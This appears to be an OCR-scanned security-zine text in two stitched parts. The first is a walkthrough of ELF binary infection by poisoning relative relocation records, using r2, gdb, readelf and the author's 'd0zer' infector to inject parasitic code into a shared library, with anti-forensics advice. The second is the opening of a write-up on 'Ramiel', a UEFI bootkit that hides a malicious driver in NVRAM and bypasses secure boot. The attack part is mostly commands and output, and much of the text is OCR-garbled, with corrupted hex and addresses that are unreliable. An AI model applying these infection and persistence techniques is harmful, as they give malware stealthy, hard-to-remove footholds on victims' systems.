Use -AA or aaaa to perform additional experimental analysis
-- You can debug a program from the graph view ("ag') using standard radare2 commands

[0x00001040]>

Get the address (use 'vaddr field since 'r2° emulates loading the binary in memory) of the *.init_array* section.

: BxB000 ll:l..l.l:l: > 49
[Sections]

nth paddr

vaddr

vsize

perm name

B
1
2
3
4
5
6
7
8

Ax00000000
Ox0000A318
Ax00EAA338
Ax00BAA3TE
Ox0088839c
Ox000083ch
Ax00E0A3e0
Ax0000B488
Ax00008516
Ox00008528
Ax0000A558
Ax00ERA64E
Ax000016006
Ox00001620
Ax00E81640
Ax00EA11a0
Ax00EAZE00
Ox000020ac
Ox000020e8

Bx0B002dd8
Bx00002del
Bx00002fcO
BxB0B02fe8
Bx00B03008
Bx00003018
B0x00803018
Bx00B03038
Bx008032c0
Bx000033fd

: Ax00001046 : .

Ax00000000
Ox00000318
Ix000AA338
Ox0000037E
Ox0008839c
@x0000083ch
@x000083e0
Ox00000488
Ox00008516
Ox00000528
@x00088558
Ax00000648
Ax00081060
Ox00001820
@x00001840
Ax000811a0
Ax00002000
Ox000020ac
@x000020e8

Bx08003dd8
Bx00003del
Bx00003fcO
Ox0OBA3fe8
0x00004008
B0x00004018
@x00000000
0x00000060
0x00000000
Bx00000000

Bx0
Ox1c
Ox40
Ox24
Ox20
Ox1c
Oxal
Ax8d

Bxe
Ox30
Bxfe
Ox18
Ox1b
Ox20

Ax160

Bxd
Oxac
Ox3c
Bxdc

interp
-note_gnu.property
_note _gnu_build-id
-note ABI-tag
.gnu_hash
~dynsym
_dymstr
.gnu.version
.gnu.version_r
.rela.dyn
_rela. plt
.init
.plt
-text
_fini
.rodata
.eh_frame_hdr
.eh_frame
_init array
.fini_array
.dynamic
.got
_got_plt
.data

.bss
-comment
_symtab
.strtab
.shstrtab

We then seek to it and print out the hex dump to verify we are where we need to be.




[Gx00688 ]= s OxBER03dch
:. I xBEEE I .:'_:__ px

3011
5all

We then retrieve the offset of the *not_called* function and write the offset in little-endian byte order. Finally, we rerun
the binary to see if we successfully got the *not_called* function to run.

[0x08083dc8]> is ~not_called

10 Ox00001170 Ox00001170 GLOBAL FUNC 22 not_called
[0x00003dc8]> wx Ox701100080

[0xB0003dc8]> px

7011 5all
edlo g1
27 Bec
10 Bd
abll 19
cB3d 1b
18 la
dB3d 1c
a8 f5fe
a5
06
Ba
8d Bb
18 15
a3
efif B2
[0xB0003dcB]> q
[sad@p@Arch-Deliberate experimental]$ ./ctors
helle from msg() constructor
hello from second() constructor
helle from main -- hopefully all constructors were called.

Interestingly enough, not only did the *not_called* function not execute, but our *msg* function and constructor




executed despite overwriting the entry. We can analyze what is happening using ‘gdb’ and GEF (GDB Enhancement
Features) plugin.

[sadBp@Arch-Deliberate experimental]$ gdb ctors

Copyright (C) 2023 Free Software Foundation, Inc.

License GPLwv3+: GNU GPL version 3 or later <

This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Type "show copying" and "show warranty" for details.

This GDB was configured as "x86_64-pc-linux-gnu".

Type "show configuration" for configuration details.

For bug reporting instructions, please see:

Find the GDB manual and other documentation resources online at:
< >

For help, type "help".
Type "apropos word" to search for commands related to "word". ..

for linux ready, type ° ' to start, ° ' to configure

commands loaded and 5 functions added for GDB in ©.01ms using Python engine
Reading symbols from

This GDB supports auto-downloading debuginfo from the following URLs:
< >
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found im )]
break _start
Breakpoint 1 at

From here, we run the binary where execution will halt at our breakpoint, allowing us to grab the virtual address of
*.init_array* by issuing the *maintenance info sections* command to ‘gdb’.

maintenance info sections
Exec file: '[homefsad®pfgo/src/github.com/dOzer /experimental/ctors’, file type elf64-x86-64.
@x555555554318->0x555555554334 at 0x00000318: .interp ALLOC LOAD READONLY DATA HAS CONTENTS
0x555555554338->0x555555554378 at 0x00000338: .note.gnu.property ALLOC LOAD READONLY DATA HAS_CONTENTS
0x555555554378->0x55555555439¢ at OxB0000378: _note_gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
©x55555555439¢c->0x5555555543bc at @x0000039c: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
©x5555555543cB->0x5555555543dc at ©x000003cO: .gnu.hash ALLOC LOAD READONLY DATA HAS_CONTENTS
0x5555555543e0->0x555555554488 at 0x000003e0: .dynsym ALLOC LOAD READONLY DATA HAS CONTENTS
0x555555554488 - >0x555555554515 at Ox00000488: _dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS
@x555555554516->0x555555554524 at 0x00000516: .gnu.version ALLOC LOAD READOMLY DATA HAS_CONTENTS
@x555555554528->0x555555554558 at 0x00000528: .gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS
0x555555554558->0x555555554648 at 0x00000558: .rela.dyn ALLOC LOAD READONLY DATA HAS CONTENTS
Bx555555554648->0x555555554660 at 0x00000648: _rela.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
©x555555555000->0x55555555501b at ©@x00001000: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
©x555555555020->0x555555555040 at 0x00001020: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
0x555555555040->0x5555555551a0 at 0x00001040: . text ALLOC LOAD READONLY CODE HAS CONTENTS
Bx5555555551a0->0x5555555551ad at @x000011a@: _fini ALLOC LOAD READONLY CODE HAS_CONTENTS
0x555555556000- >0x5555555560ac at 0x00002000: _rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
©x5555555560ac->0x5555555560e8 at @x000020ac: .eh_frame_hdr ALLOC LOAD READONLY DATA HAS_CONTENTS
0x5555555560e8->0x5555555561c4 at 0x000020: h frame ALLOC LOAD READONLY DATA HAS CONTENTS
555555557dd8 nit array ALLOC LOAD DATA HAS CONTENTS
0x%555555557dd8->0x555555557de@ at Ox00002dd _fini_array ALLOC LOAD DATA HAS_CONTENTS
©x555555557ded->0x555555557fcl at ©x00002de@: .dynamic ALLOC LOAD DATA HAS_CONTENTS
0x555555557fc->0x555555557fe8 at 0x00002fc@: .got ALLOC LOAD DATA HAS CONTENTS
B0x555555557fe8->0x555555558008 at 0x00002fe8: _got.plt ALLOC LOAD DATA HAS_CONTENTS
©x555555558008->0x555555558018 at 0x00003008: _data ALLOC LOAD DATA HAS_CONTENTS
©x555555558018->0x555555558020 at ©x00003018: .bss ALLOC
0x00000000->0x0000001b at 0x00003018: .comment READONLY HAS CONTENTS

We take the start address and add 8 (the entry of interest is 8 bytes away from the start of *.init_array* if you recall
from our r2" session). We then set a watch point for any writes occurring at the entry and continue execution.




watch *(long *)@x555555557dc8
Hardware watchpoint 2: *(long *)0x555555557dc8

=
Starting program: S
] Failed to find objfile or mot a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at Ox7ffff7fcg8e00

Hardware watchpoint 2: *(long *)0x555555557dc8
0ld value = 0x1170

New walue = Ax555555555139
in () fron

[ Legend:

Oxe07ffff7ffef4e
— 0x0000000000000000
0x007ffff7fcadbe 0x03010102464c457f

. OxROTFFFF7FFdabd

(e b P R

!

: exl
: OxPOTFff7ffe2cO
: Ox0
—
¢ —_
: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
: 0x33 : Bx2b : 0x00 - 0x00 : 0x00 : 0x00

+0x0000: Bx007Ffff7ffefdd — 3
+0x0008: 0x007ffff7dda4a8 — ©x00007ddeBOO30001
+0x0010: =3 —
+0x0018: 0x0000000000000000

+0x0020: 0x0000000000000000

+0x0028: — 0x00000000000040 ("@"?)
+0x0030: OxPO7ffff7ddb238 — 0x00000000001d7bc8
+0x0038: Ox0O7ffff7ddaed8 — 0x0O00OEOONO1d6e68

ox7ffff7fdeb72 j Ox7ffff7fd8b48
ox7ffff7fd8b74 r10, QWORD PTR [r11+0x1e8]
Bx7ffff7fd8b7b rie, ri1@

Ox7ffff7fdsb7e Ox7ffff7fd9630
ox7ffff7fdebs4 rax, QWORD PTR [r10+0x8]

#0] Id 1, Name: "ctors", in (). reason:

Ox7FfFF7fd8b6f
Ox7ffff7fe8121
Ox7ffff7fe4903
Ox7ffff7fe607c
Ox7ffff7fededs

The resulting output has 3 pieces of information highlighted and labeled 1-3 of interest. At label 1 we can see the
value changed from 0x1170 (offset of *non_called* function) to 0x555555555139. Label 2 tells us execution halt-

ed in *Id-linux-x86-65.s0.2*%, which is the dynamic/runtime linker and loader. Label 3 highlights the instruction that
triggered the watch-point resulting in the halt of execution. The value in the *rdx* register is copied via the *mov*
instruction to the memory address held in *rcx*. The values 0x00555555555139 and 0x00555555557dc8 are “rdx*
and “rcx* respectively. GEF detected and deference the function pointer in *rcx*, resulting in the symbol *msg*,
which is our msg function and constructor. Further confirmation is done by issues *info symbol <addr>* in ‘gdb” and
disassembling the function.

info symbol BxB8555555555139
msg in section .text of fhome/sad@pfgo/srcfgithub.comfdBzerfexperimental/ctors
disas msg
Dump of assembler code for function
<+@>:
<+1>:
<+4>: .
<+8>: DHORD PTR [
<+11>: QWORD PTR [
<+15>: N +
<+22>: .
<+25>: >
<+30>:
<+31>:
<+32>:
End of assembler dump.




From this analysis, we can conclude that whatever offsets are in *.init_array* will be overwritten at runtime. Secondly,
overwriting the offsets in *.init_array* occurs in the dynamic/runtime linker and loader code. Earlier, we mentioned
shared objects undergo mapping into the processes address space. The dynamic/runtime linker and loader is no
exception. After the kernel creates the process’s image, it places information into memory for the process (the stack
region specifically) in structures called auxiliary vectors and transfers execution to the dynamic/runtime linker and
loader. It (dynamic/runtime linker and loader) will then use this information to further populate the process image
with the required code and data necessary for successful execution.

One of the critical tasks the dynamic linker performs (especially in PIE binaries) is to carry out relocations, mean-
ing to carry out calculations based on the data in relocation records and sometimes at specific locations (in the
case of REL relocation structures which utilize implicit addends), then patching the binary in memory (sometimes
called “hot-patching”). As you can imagine, this is important on systems that utilize ASLR (Address Space Layout
Randomization) as the base address (memory address where the binary undergoes mapping/loading at runtime) is
unknown by the compiler and link editor (Id) as well as shared objects, which have to be position independent and
rely on the dynamic linker to “resolve” offsets to absolute addresses (using the program’s base address) when other
binaries link against the shared object.

To deal with this behavior, we need to better understand Relative Relocations, one of the dynamic linker’s many re-
location types. You can view the relocation activity printed by the dynamic linker in the following screenshot. You will
observe the dynamic/runtime linker and loader following the LD_DEBUG flag and printing out the requested informa-
tion about the execution of the program long before execution reaches any constructor:

[sad@p@Arch-Deliberate experimental]$ LD _DEBUG=reloc,statistics _fctors
50386:
50386: relocation processing: jfusr/lib/libc.so.6
50386:
50386: relocation processing: .fctors (lazy)
50386:
50386: relocation processing: /lib64/1ld-linux-x86-64.s0.2
50386:
50386: runtime linker statistics:
50386: total startup time in dynamic loader: 2
50386: time needed for relocation:
50386: number of relocations: 94
50386: number of relocations from cache:
50386: number of relative relocations:
50386: time needed to load objects: 68689 cycles (32.5%)
50386:
50386: calling init: flib64/1d-linux-x86-64.s0.2
50386:
50386:
50386: calling inmit: fusrflib/libc.so.6
50386:
50386:
50386: initialize program: ./fctors
50386:
helle from msg() constructor
hello from second() constructor
50386:
50386: transferring control: ./ctors
50386:
hello from main -- hopefully all constructors were called.

50386:

50386: calling fini: [8]

50386:

50386:

50386: calling fini: fusr/lib/libc . so. 6 [0]

50386:

50386:

50386: calling fini: flib64/1d-1linux-x86-64 so.2 [8]

50386:

50386:

50386: runtime linker statistics:

50386: final number of relocations: 95

50386: final number of relocations from cache: 7
[sad@p@Arch-Deliberate experimental]$

Now we can look at the relocation entries to demystify what is happening with *.init_array*. In the following screen-
shot, the first five relocation entries are of interest (Relative Relocations) and are of type *R_X86_64_RELATIVE*. The
last column lists some values that are part of the addend. The addend with the value 0x1139 is the offset for our



msg function and constructor. On the same row, to the left (in the offset column), we see a virtual offset (0x3dc8)
where we could expect the relocation to occur at runtime:

sad@p@Arch-Deliberate experimental]$ readelf -r ctors

Relocation section '.rela.dyn’ at offset ©x558 contains 10 entries:

Offset Info Type Sym. Value Sym. Name + Addend
000000083dcO 0BROOEROERO8 R_XB6_64 RELATIVE 1130
000000003dc8 00EE0EOOEOO8 R_ | RELATIVE 1139
000000083dd0 0BREBEROEEO8 | RELATIVE 115a
OBOREEA3ddE 0OROBEEAEAGS 5_64_RELATIVE 10e0
000800004010 00000EE0RE08 | RELATIVE 4010
0000000830 000100800806 5_64_GLOB_DAT 0000000000000000 _ libc_start main@GLIBC 2.34 + 0
000000083fc8 000200000806 _GLOB_DAT 0000000000000E00 _ITM_deregisterTM[...] + @
0OBRE0EA3TdO 00P400A0EH06 5 64 _GLOB_DAT 0000000000EE0000 _ gmon_start_ + 0
000000003fd8 00B500000006 R_ _GLOB_DAT 00PEOMEOOREOREOD _ITM_registerTMCL[...] + @
000080083fe0 000600000006 R_XB6_64 GLOB_DAT GEOEAO00O0EB0EE0 _ cxa_finalize@GLIBC 2.2.5 + @
Relocation section '.rela.plt’ at offset @x648 contains 1 entry:

Offset nfo Type Sym. Value Sym. Name + Addend
000000004000 000300000007 R_X86_64_ JUMP_SLO £000000000000000 puts@GLIBC_2.2.5 + 0
[sad@p@Arch-Deliberate experimental]$

The calculation for R_X86_64_RELATIVE is B + A; the binary address mapped at runtime (B) plus the addend field
value (A). The results of the calculation are written into memory at the specified virtual offset (0x000000003dc8,
which is within the defined memory region for *.init_array* section) by the dynamic linker. So if we alter the addend
field of the relocation record for msg function with the offset for *not_called* then we can have the dynamic linker
execute *not_called* as it was a constructor. Included below is the relocation structure. Note that |IA-64 architecture
utilizes explicit addends (meaning there is a field in the structure allocated for the addend) and uses relocation
structures of type RELA. Here’s an example of a RELA relocation structure:

Let us attempt to modify the relocation entry for msg function and constructor to execute our *not_called* function.
We can start by re-loading the binary into 'r2”, and locating the rela.dyn section, seeking to the start of the section
and reading the hex-dump output of entries:



[sadOp@Arch-Deliberate experimental]$ r2 -Aw ctors
run r2 with -e bin.cache=true to fix relocations in disassembly
Analyze all flags starting with sym. and entry® (aa)
Analyze all functions arguments/locals (afva@@@F)
Analyze function calls (aac)
Analyze len bytes of instructions for references (aar)
Finding and parsing C++ vtables (avrr)
Type matching analysis for all functions (aaft)
Propagate noreturn information (aanr)
Use -AA or aaaa to perform additional experimental analysis
-- Calculate current basic block checksum with the ph command (ph md5, ph crc32,
[Ox000016407=> 1S
[Sections]

nth paddr size vaddr vsize type

0x00000000 0x0 Ox00000000 BxB NULL

0x00000318 0Oxl1lc Ox00000318  Oxlc PROGBITS .interp
0x00000338 0x40 O0x00000338 0x40 NOTE .note.gnu.property
Ox0PO0B3T78 Ox24 Ox0EOEO3TE Ox24 NOTE .note._gnu.build-id
0x0000839c 0x20 Ox0OEBO39C 0x20 NOTE .note.ABI-tag
0x000003co Ox1lc Ox000003cH Ox1c GNU_HASH .gnu_hash
0x000003e0 Oxa8 0x000003e0 Oxa8 DYNSYM .dynsym
0x00000488 0x8d Ox00000488 Ox8d STRTAB -dynstr
Bx0PERe516 Oxe OxO0POPO516 Bxe GNU_VERSYM _gnu.version
0x00000528 0x30 0x00000528  Ox30 GNU_VERNEED .gnu.version_r
0x00000558 Oxf0 Ox00000558  OxfO RELA .rela.dyn
0x00000648 Ox18 OxPEOEO648 0x18 RELA .rela.plt
0x00001000 0x1b Ox00001000 Ox1b PROGBITS init
0x00001020 0x20 0x00001020  Ox20 PROGBITS .plt
0x00001040 ©Ox160 Ox00001040 Ox160 PROGBITS _text
0x000011a0 Oxd Ox000011a0 Oxd PROGBITS _fini
0x00002000 Oxac OxPEEE2000 Oxac PROGBITS .rodata
0x000020ac  Ox3c Ox000020ac  Ox3c PROGBITS .eh_frame_hdr
0x000020e8 Oxdc Ox000020e8  Oxdc PROGBITS .eh_frame
0x00002dcO Ox18 Ox00003dco 0x18 INIT_ARRAY .inlit_array
0x00002dd8 Ox8 0x00003dds Ox8 FINI_ARRAY .fini_array
0x00002ded Oxled Ox00003de® Oxled DYNAMIC .dynamic
0x00002fco 0x28 Ox0OEO3fcOd 0x28 PROGBITS .got
Ox00002fe8 0x20 Ox00003fe8 0x20 PROGBITS .got_plt
Bx0PEO3008 Bx10 Ox00OR4008 0x18 PROGBITS _data
0x00003018 0x0 0x0e0e4018 0x8 NOBITS .bss
0x00003018 0x1b Ox00000006 Ox1b PROGBITS .comment
0x00003038 Ox288 OxOOOOEEEO 0Ox288 SYMTAB .symtab
0x000032cO0 0Ox13d Ox000E0E00 ©x13d STRTAB .strtab
0x000033fd 0Ox116 0x00000000 BOx116 STRTAB .shstrtab

L~ hWNE S

rAxPRAR10407> s OxPAOAA55E
_I_I-.|_||_|-_||_|_ 5E I_-._ px




Each entry is 24 bytes, so we seek 24 bytes to get past the first entry and an additional 16 bytes to arrive at the
addend field:

Then write the offset of the *not_called* function into the addend field:

[OxEEEEO580 > wx 7011000000000000
T.: i_||_||||||-?..-_|-j_. px

de3:
5311
e8




Our binary executes and yields the expected results.

[sad@p@Arch-Deliberate experimental]$ ./ctors
I should have never been called

hello from second() constructor

hello from main -- hopefully all constructors were called.

[sadOp@Arch-Deliberate experimental]$

We now have a viable proof of concept for executing parasitic code without modifying the entry point but instead
altering relocation records to make the dynamic/runtime linker and loader do our handy work. | call this process
Relative Relocation Poisoning/Hijacking. We can now target any ELF binary utilizing relative relocations, including
standard executables and libraries (shared objects). So binary infection methods such as *PT_NOTE* to *PT_LOAD*
and *Text Segment Padding*, once used to target standard ELF executables, can now be applied to ELF shared
objects executables. Any ELF binary linked against an infected shared library would then have parasitic code
executed within the execution context of the binary.

We can demonstrate full infection using ‘dOzer’, a program | first wrote to inject standard ELF executables with
arbitrary payloads using *Text Segment Padding Algorithm*. It has since then been augmented to support
*PT_NOTE* to *PT_LOAD* with Relative Relocation Hijacking/Poisoning in shared objects and standard executable
that employ relative relocations. The following example will utilize the *testlib.so* and *main* ELF binaries we
compiled earlier. First, recompile the *testlib.so* binary with the instructions from earlier in the article, because the
binary underwent modification with our symbol hijacking exercise. Then execute the *main program* (assuming it is
still in the same directory from the earlier example) to view the output.

[sad®p@Arch-Deliberate testlib2]$ gcc -c testlib.c -o testlib.o -fPIC
[sadOp@Arch-Deliberate testlib2]$ gcc -shared testlib.o -o testlib.so
[sadOp@Arch-Deliberate testlib2]$ . /main

This is funcl
[sadOp@Arch-Deliberate testlib2]$

Now, ‘d0zer contains a default payload that prints “hello world - this is a non payload” for testing purposes; we will
use it for this example. The following screenshot shows ‘d0zer carrying out the *PT_NOTE* to *PT_LOAD* infection
algorithm, then locating the dynamic segment to find where relocation entries are stored, iterating over the records
to find a suitable entry (word on this later) and hijacking/poisoning the relocation record’s addend field to point to our
parasitic code and making sure the corresponding *.init_array* entry matches on disk. Making sure the relocation
record’s addend and .init_array share the same value is essential from an anti-detection or anti-forensics standpoint.
Even though *.init_array* contents on disk are useless, we want them to appear as if the compiler and link editor
produced the entirety of the binary. Worth noting that ‘dOzer’ does not overwrite the original binary but creates an
infected copy suffixed with “-infected,” so you will need to replace the legitimate file with the infected one before
running the *main* program:



[sad@p@Arch-Deliberate testlib2]$ ..[../d®zer -ctorsHijack -infectionAlgo PtNoteToPtLoad -debug -target testlib.so
PT_NOTE segment pHeader index @ 6
Converting PT_NOTE to PT_LOAD and setting PERM R-X
Newly created PT_LOAD virtual address starts at @xc@03aa8
CtorsHijack requested. Locating and reading Dynamic Segment
24 entries in Dynamic Segment
Located DT_RELA @ 8x@000000000000498
DT_RELA has 24 entries
File offset of relocations @ 0x0EEEEEOEOOONO498
Found viable relocation record heoking/poilsoning
offset: Ox0008000000003df8
type: R_X86_64 RELATIVE
Addend: 0x0000080800001100
offset OxB00OBAEOAAO02dfE updated with value (Addend) PBEEPBEEAcAO3aald
PAYLOAD
53 52 41 53 | TPQSRVWUAPAQARAS |
55 41 @0 68 |ATAUAVAW. =+ __h|
6f 20 73 20 |ello -- this is |
6f Be 69 76 |a non destructiv]|
61 79 @0 bf |e payload
00 5e 41 5e | R
5c 41 S5e 5a
5c e8 2d a8
48 05 24 c3

[+] Increased Phdr.Filesz by length of payload (8x90)

[+] Increased Phdr.Memsz by length of payload (8x90)

[+] Increased section header offset from 0x3318 to Ox33a8 to account for payload
[sad@p@Arch-Deliberate testlib2]$ mv testlib.so-infected testlib.so
[sad@p@Arch-Deliberate testlib2]$ ./main

hello -- this is a non destructive payloadThis is funcl

[sad@p@Arch-Deliberate testlib2]$

We can also demonstrate “Text Segment Padding* after recompiling *testlib.so* and replacing the legitimate shared
object with the infected version that ‘dOzer” produces.

[sadOp@Arch-Deliberate testlib2]$ gcc -c testlib.c -o testlib.o -fPIC
[sad@p@Arch-Deliberate testlib2]$ gcc -shared testlib.o -o testlib.so
[sadOp@Arch-Deliberate testlib2]$ ../../d@zer -ctorsHijack -infectionAlgo TextSegmentPadding -debug -target testlib.so
[+] CtorsHijack requested. Locating and reading Dynamic Segment
[+] 24 entries in Dynamic Segment
[+] Located DT_RELA @ ©6x0000000000000498
[+] DT_RELA has 24 entries
[+] File offset of relocations @ 0x0000000000000498
[+] Found viable relocation record hooking/poisoning
offset: ©x0000000000003df8
type: R_X86_64_RELATIVE
Addend: ©x0000000000001100
[+] offset 0x0000000000002df8 updated with value (Addend) 0000000000001145
[+] Text segment starts @ 0x1000
[+] Text segment ends @ Ox1145
Payload size pre-epilogue Ox5c
Appended default restoration stub
Generated and ded position ind: t return 2 OEP stub to payload
Payload size post-epilogue ©x90
----PAYLOAD
56 51 53 52 41 53 | TPQSRVHUAPAQARAS |
54 41 55 41 00 68 |ATAUAVAH...+. . .h|
6c 6¢c 6f 20 73 20 |ello -- this is |
20 6e 6f 6e 69 76 |a non destructiv]|
20 70 61 79 00 bf |e payload
00 Se 41 5e |....~A.* A_AM|
5c 41 Se 5a |AJA\A[AZAYAX]_~Z|
2d 45 [[VX\..... H. .yH-E|
A &E |loodibosoood H..$.|

Increased text segment p_filesz and p_memsz by 144 (length of payload)
Adjusting segments after text segment file offsets by 0x1000
Inceasing pHeader @ index 2 by 0x1000
Inceasing pHeader @ index 3 by 0x1000
Inceasing pHeader @ index 4 by 6x1000
Inceasing pHeader @ index 8 by 0x1000
Inceasing pHeader @ index 10 by ©x1000
Increasing section header addresses if they come after text segment
Extending section header entry for text section by payload len.
(14) Updating sections past text section @ addr ©x2000
(15) Updating sections past text section @ addr ©x201c
(16) Updating sections past text section @ addr ©x2040
(17) Updating sections past text section @ addr ©x3df8
(18) Updating sections past text section @ addr 0x3e60
(19) Updating sections past text section @ addr ©x3e68
(20) Updating sections past text section @ addr ©x3fc8
(21) Updating sections past text section @ addr ©x3fe8
(22) Updating sections past text section @ addr ©x4008
(23) Updating sections past text section @ addr ©x4010
(24) Updating sections past text section @ addr Ox0
(25) Updating sections past text section @ addr 0x@
(26) Updating sections past text section @ addr 0x@
(27) Updating sections past text section @ addr ©x0
writing payload into the binary
[sadOp@Arch-Deliberate testlib2]$ mv testlib.so-infected testlib.so
[sadOp@Arch-Deliberate testlib2]$ ./main
ello -- this is a non destructive payloadThis is funcl
[sadOp@Arch-Deliberate testlib2]$

In our 'r2" example, we overwrote the relocation entry, meaning the original entry never got executed; this is a bad




practice as relocation entries are essential to the program function (often associated with critical initialization
routines in both standard executables and shared objects). In *d0zer’, this is handled by having the parasitic code
pass execution to the code/function that existed in the relocation record pre-infection. As stated earlier in the article,
one of the goals of binary infection is to leave the binary in a state where it can function as if it was not infected.

There are limits to Relative Relocation Poisoning/Hijacking. For instance, not all relative relocations associate with
executable code. Some are associated with data objects. Look at the ‘readelf output of a simple “hello world”
application dynamically linked against *libc*. The ‘readelf application is being run with flag “-s” to look for symbols
(second run of ‘readelf in the following screenshot), and its output is piped to grep to match symbols with their
offsets. We can see that the first two offsets gathered from the relocation record printout have symbol types *FUNC*
(defined as *STT_FUNC™* in *elf.h*), which indicates the symbol is associated with a function or executable code. The
last ‘readelf run with offset 0x4010 shows this offset is of type OBJECT, which lets us know the relocation is
associated with data. You would need to avoid hijacking these entries.

[sad@p@Arch-Deliberate experimental]$ readelf -r helloworld64 dynamic

Relocation section '.rela.dyn' at offset Ox558 contains 8 entries:
Offset Info Type Sym. Value Sym. Name + Addend
s 5_64 RELATIVE 1130
5_64 RELATIVE 108
5_64_RELATIVE 4010
5 64_GLOB_DAT 0E @ _ libc_start_main@GLIBC_2.34 + @
5_64_GLOB_DAT _ITM deregisterTM[...] + €
B ® _gmon_start + 0
_ITM registerTMCL[...]
80 cxa_finalize@GLIBC 2
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Relocation section ' _rela plt' at offset 8x618 contains 1 entry:
Offset Info Type Sym. Value Sym. Name + Addend
2.2.5+80
[sadO@p@Arch-Deliberate experimental]$ readelf -s helloworld64_dynamic | grep 1130
10 0 FUNC LOCAL DEFAULT 14 frame_dummy
[sad@p@Arch-Deliberate experimental]$ readelf -s helloworld64_dynamic | grep 18e@
e ® FUNC LOCAL DEFAULT 14 do global dtors aux
readelf -s helloworld64_dynamic | grep 4818
27: 08 @ OBJECT GLOBAL HIDDEN 24 _ dso handle
[sadBp@Arch-Deliberate experimental]$

There are two solutions | can think of (one implemented in dOzer): to check if the offset is within the *.init_array*
section since that section only holds function pointers and only contain entries pointing to code. The following
screenshot illustrates the function in ‘d0zer to do just that.




The other solution requires us to check the symbol tables to make sure the associated is of type *STT_FUNC* or
*FUNC* (readelf version). However, there is a drawback, and it’s not unusual for production binaries to have their
.symtab removed in dynamically linked binaries to decrease file size. Finally, statically compiled and linked binaries
(ELF type ET_EXEC) do not utilize relative relocations (R_X86_64_RELATIVE), so Relative Relocation
Poisoning/Hijacking will not work.

| hope this helps demystify ELF binary infection, and informs efforts to both further the art of exploitation, and the
forensic analysis & defeat of malicious actors.

Credit - *To Alpinista for his edits.”
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Abstract:

The majority of UEFI bootkits persist within the EFI system partition. Disk persistence is usually not ideal as it is
easily detectable and cannot survive OS re-installations and disk wipes. Furthermore, for almost all platforms,
secure boot is configured to check the signatures of images stored on disk before they are loaded.

Recently, a new technique [6] of persisting in the option rom of PCI cards was discovered. The technique allows
bootkits to survive OS re-installations and disk wipes. In the past, edk2 configured secure boot to allow unsigned
option ROMs to be executed [8], but since then, it has been patched for most platforms. PCI option ROM
persistence is not without limitations:

1. PCI option ROM is often small, usually within the range of ~32 - ~128 KB, providing little room for complex
malware.

2. PCI option ROM can be dumped trivially as it is mapped into memory.

Ramiel attempts to mitigate these flaws. Leveraging motherboard’s NVRAM, it can utilize ~256 KB of persistent
storage on certain systems, which is greater than what current option rom bootkits can utilize. It is also difficult to
detect Ramiel since it prevents option ROMs from being mapped into memory, and as vault7 [7] states: “there is no
way to enumerate NVRAM variables from the OS... you have to know the exact GUID and name of the variable to
even determine that it exists.” Ramiel is able to tamper with secureboot status for certain hypervisors.

0. Overview

| 0.1 Overview

The order in which sections are presented is the order in which Ramiel performs operations.

1. Infection:


https://cpl0.zip
https://github.com/3intermute/Ramiel 

1.1 Ramiel writes a malicious driver to NVRAM
1.2 Ramiel writes chainloader to PCI option ROM

2. Subsequent Boots:
2.3 Ramiel patches secure boot check in Loadlmage to chainload unsigned malicious driver
2.4 Ramiel prevents OPROM from being mapped into memory by linux kernel
2.5 chainloader loads the malicious driver from NVRAM

Misc:
2.1 OVMF misconfiguration allows for unsigned PCIl option ROMs to execute with secure boot enabled
2.2 Overview of PCI device driver model
2.6 Source debugging OVMF with gdb

Initial Infection:
0EM firmware update tool—s|NIC PCI option ROM

dropper
chainloader driver

SetVariable()
_|— NVRAM

malicious driver
(chunks)

Next Reboot: DXE dispatcher loads unsigned chainloader driver
(ignores secure boot violation due to misconfiguration)

chainloader

v
chainloader: patch secureboot check in CorelLoadImage
chainloader: zero XROMBAR

\ 4
chainloader: load malicious driver chunks from NVRAM

malicious driver




| 0.2 Bare Metal |

Ramiel has not been tested on bare metal although theoretically it should work with secure boot disabled.

1.0 Infection

| 1.1 NVRAM

On the version of OVMF tested, QueryVariablelnfo returned:

max variable storage: 262044 B, 262 KB
remaining variable storage: 224808 B, 224 KB
max variable size: 33732 B, 33 KB

In order to utilize all of 262 KB of NVRAM, the malicious driver must be broken into 33 KB chunks stored in separate
NVRAM variables. Since the size of the malicious driver is unknown to the chainloader, Ramiel creates a variable
called “guids” storing the GUIDs of all chunk variables. the GUID of the “guids” variable is fixed at compile time.

Example NVRAM layout:
GUID of guids (89547266-0460-43b3-9dfc—e4d627e6629) is known by the chainloader

guids——=89547266-0460-43b3-9dfc-e4d627e6629
0eb06226-ad2e-49be-bd56-866b328b44a3

€62104c3-0b2a-4c5a-9bld-17780ebeaf9f

b@d@f31d-88e@-4cbf-a589-ccc35e4569ab

0eb06226-a02e-49be-bd56-866b328b44a3
<max var size chunk 1 of driver>

c62104c3-0b2a-4c5a-9b1d-17780ebeaf9f
<max var size chunk 2 of driver>

b@d0T31d-88e@-4cbf-a589-ccc35e4569ab
<max var size chunk 3 of driver>




runtime.c excerpt:

struct stat stat;
int fd = open(argv[3], O_RDONLY);
fstat(fd, &stat);

uint8_t xbuf = malloc(stat.st_size);
read(fd, buf, stat.st_size);

int attributes = EFI_VARIABLE_NON_VOLATILE | EFI_VARIABLE_BOOTSERVICE_ACCESS | \
EFI_VARIABLE_RUNTIME_ACCESS;
efi_guid_t guid;
efi_str_to_guid(argv[1l], &guid);
ret = efi_set_variable(guid, argv[2], buf, stat.st_size, attributes, 777);
if (ret !'= 0) {
return -1;

To write the variables to NVRAM, Ramiel uses the libefivar library and its wrapper
for the UEFI runtime service SetVariable:

int efi_set_variable(efi_guid_t guid,
: ar xname,

1 xdata,
data_size,
t attributes);

Ramiel sets the attributes:
EFI_VARIABLE _NON_VOLATILE to store the variable in NVRAM,
EFI_VARIABLE BOOTSERVICE_ACCESS so the chainloader may access it, and
EFI_VARIABLE_RUNTIME_ACCESS to ensure the variable has been written.

